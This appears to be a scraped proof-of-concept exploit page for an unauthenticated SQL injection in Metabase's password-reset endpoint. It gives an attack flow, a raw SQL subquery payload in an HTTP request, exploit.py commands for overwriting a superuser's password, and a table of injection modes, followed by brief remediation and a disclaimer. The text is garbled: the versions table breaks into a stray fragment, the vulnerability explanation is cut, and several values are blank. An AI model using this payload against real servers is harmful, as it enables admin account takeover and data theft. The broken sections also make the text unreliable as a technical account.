Exploit for metabase-sql-poc

## https://sploitus.com/exploit?id=5D174DA4-662E-5C42-9582-7951748A48C1
# CVE-2026-72898 — Metabase Unauthenticated SQL Injection PoC

## Overview

| Field | Value |
|-------|-------|
| CVE | CVE-2026-72898 |
| Vendor | Metabase |
| Component | `/api/session/reset_password` |
| Type | CWE-89 — SQL Injection |
| Auth required | No |
| CVSS | Critical |
| Reference | https://www.offsec.com/blog/cve-2026-72898-2/ |

## Affected Versions

| Branch | Vulnerable | Fixed |
|--------|-----------|-------|
| 0.58.x | "}}`, HoneySQL compiles
the value as a raw SQL literal instead of a bound parameter, resulting in a
full SQL injection at the application database layer.

## Attack Flow

```
1. POST /api/session/forgot_password  →  get a reset token for any known email
2. POST /api/session/reset_password   →  inject target user-id via HoneySQL raw
3. Server overwrites the target user's password_hash
4. Login as target user (admin/superuser)
```

No authentication is required at any step.

## Proof of Concept

### Minimal request

```http
POST /api/session/reset_password HTTP/1.1
Host: :3000
Content-Type: application/json

{
  "token": "",
  "user-id": {"raw": "(SELECT id FROM core_user WHERE is_superuser=true ORDER BY id LIMIT 1)"},
  "password": ""
}
```

### exploit.py usage

```bash
# Step 1 — trigger reset email (get a token for an email you control)
python3 exploit.py --url http://:3000 --email attacker@you.com

# Step 2 — use token to reset first superuser's password
python3 exploit.py --url http://:3000 \
    --email attacker@you.com \
    --token  \
    --mode superuser \
    --new-pass 'NewPass@1234!' \
    --admin-email admin@target.com
```

### Injection modes

| Flag | Payload | Use case |
|------|---------|----------|
| `--mode superuser` | Subquery for first superuser | Admin UID unknown (default) |
| `--mode uid --uid N` | Integer literal N | Target UID known |
| `--mode bypass` | CASE/WHEN token-aware subquery | Token bound to specific user |

## Remediation

Upgrade to the fixed release for your branch (see table above).

Metabase fixed the issue by validating that `user-id` is a plain integer
before passing it to the query builder, rejecting any map/object input.

## Legal

This PoC is provided for **authorized security testing and educational
purposes only**. Use only on systems you own or have explicit written
permission to test. The author is not responsible for misuse.